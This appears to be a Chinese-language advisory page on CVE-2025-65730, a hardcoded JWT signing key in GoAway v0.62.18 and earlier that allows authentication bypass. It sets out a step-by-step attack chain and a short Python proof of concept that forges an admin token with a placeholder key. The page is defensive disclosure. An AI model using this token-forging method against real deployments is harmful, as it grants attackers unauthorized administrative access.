IPBUF安全漏洞报告
English
CVE-2025-65730 CVSS 8.8 高危

CVE-2025-65730 GoAway硬编码JWT签名密钥导致认证绕过

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-65730
漏洞类型
硬编码凭证/认证绕过
CVSS评分
8.8 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GoAway v0.62.18及之前版本

相关标签

CVE-2025-65730硬编码凭证认证绕过JWTGoAway高危漏洞邻接网络攻击

漏洞概述

CVE-2025-65730是GoAway应用中的一个高危安全漏洞,CVSS评分高达8.8分。该漏洞存在于GoAway v0.62.18及之前所有版本中,由于应用程序在JWT令牌签名过程中使用了硬编码的密钥,导致攻击者可以伪造任意有效的认证令牌,从而绕过正常的身份验证机制。攻击者只需获取该硬编码密钥,即可自行签发具有管理员权限的JWT令牌,成功访问受保护的API端点和敏感资源。由于攻击向量为邻接网络(AV:A),攻击者需要处于目标网络的相邻位置,但无需任何认证凭证或用户交互即可利用此漏洞。此漏洞严重影响GoAway应用的安全性,可能导致未经授权的访问、数据泄露和系统完全沦陷。建议所有使用受影响版本的用户立即升级到v0.62.19或更高版本。

技术细节

GoAway是一个基于Go语言开发的应用,其认证机制采用JWT(JSON Web Token)进行用户身份验证。在v0.62.18及之前版本中,JWT令牌的签名使用了硬编码的密钥(SECRET_KEY),该密钥在源代码中以明文形式存储在backend/api/auth.go文件的第48行附近。攻击者通过分析公开的源代码,可以轻易获取这个硬编码密钥。获取密钥后,攻击者可以构造任意的JWT载荷(如设置用户角色为admin、设置过期的exp时间为未来时间等),并使用该硬编码密钥对JWT进行签名,从而生成一个看似有效的认证令牌。当攻击者将伪造的JWT令牌附加到HTTP请求的Authorization头中时,中间件(backend/api/middleware.go)会验证令牌签名,由于使用的是相同的硬编码密钥,验证会成功通过,攻击者即可获得相应的访问权限。漏洞的利用不需要任何特殊权限或用户交互,属于典型的认证绕过漏洞。

攻击链分析

STEP 1
步骤1
获取GoAway v0.62.18或更早版本的源代码
STEP 2
步骤2
在backend/api/auth.go文件中定位硬编码的JWT签名密钥
STEP 3
步骤3
构造包含管理员权限的恶意JWT载荷
STEP 4
步骤4
使用获取的硬编码密钥对JWT进行HS256签名
STEP 5
步骤5
将伪造的JWT令牌添加到HTTP请求的Authorization头中
STEP 6
步骤6
发送请求到目标API端点,绕过认证机制访问受保护资源

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import jwt import requests # Hardcoded secret key from GoAway v0.62.18 source code SECRET_KEY = "your-hardcoded-secret-key" # Target URL TARGET_URL = "http://target-server:8080/api/protected-endpoint" # Create malicious JWT payload with admin privileges payload = { "sub": "attacker", "role": "admin", "exp": 9999999999, "iat": 1701800000 } # Sign the JWT with the hardcoded secret token = jwt.encode(payload, SECRET_KEY, algorithm="HS256") print(f"Generated malicious JWT: {token}") # Send request with forged token headers = { "Authorization": f"Bearer {token}" } response = requests.get(TARGET_URL, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}")

影响范围

GoAway < 0.62.18
GoAway = 0.62.18

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制对API端点的访问,仅允许受信任的IP地址访问。同时可以临时禁用JWT认证,改用其他强认证机制,如OAuth2.0或API密钥+请求签名验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表